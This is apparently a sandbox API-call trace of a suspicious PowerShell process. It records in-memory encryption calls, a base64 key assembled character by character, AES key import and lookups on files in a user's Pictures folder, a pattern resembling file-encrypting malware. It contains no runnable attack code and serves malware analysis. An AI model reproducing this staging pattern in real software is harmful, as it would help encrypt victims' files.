Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.871] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0254.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.871] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0254.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.872] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0254.872] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0254.872] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.872] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0254.872] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.873] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0254.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.873] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0254.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0254.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0254.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0254.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.875] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0254.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.875] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.875] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0254.875] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0254.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.876] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0254.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.876] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0254.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.877] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.877] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0254.877] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.877] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.877] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0254.877] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.877] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.878] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0254.878] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.879] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.879] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0254.879] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.879] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.879] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0254.879] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.879] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.879] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0254.879] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0254.880] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.881] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0254.881] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.881] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.881] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0254.881] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.881] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.881] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0254.881] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.882] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.882] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.882] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0254.882] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.882] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.882] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.882] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.882] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0254.882] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.882] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.882] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.882] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.882] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0254.883] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.883] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.883] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.883] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.883] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0254.883] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.883] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.883] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.883] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.883] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0254.883] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.883] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.884] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.884] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.884] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0254.884] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.884] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0254.884] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.884] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.884] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.884] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.885] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0254.885] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.885] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.885] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.885] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.885] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0254.885] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.885] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.885] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.885] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.885] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.885] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.885] EtwEventActivityIdControl () returned 0x0 [0254.886] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.886] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.886] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.886] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0254.887] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cd48) returned 1 [0254.889] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x256b064*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c996a0) returned 1 [0254.889] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.890] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.890] EtwEventActivityIdControl () returned 0x0 [0254.890] EtwEventActivityIdControl () returned 0x0 [0254.890] EtwEventActivityIdControl () returned 0x0 [0254.896] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif")) returned 0x20 [0254.897] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif")) returned 0x20 [0254.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.903] EtwEventActivityIdControl () returned 0x0 [0254.903] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.904] EtwEventActivityIdControl () returned 0x0 [0254.904] EtwEventActivityIdControl 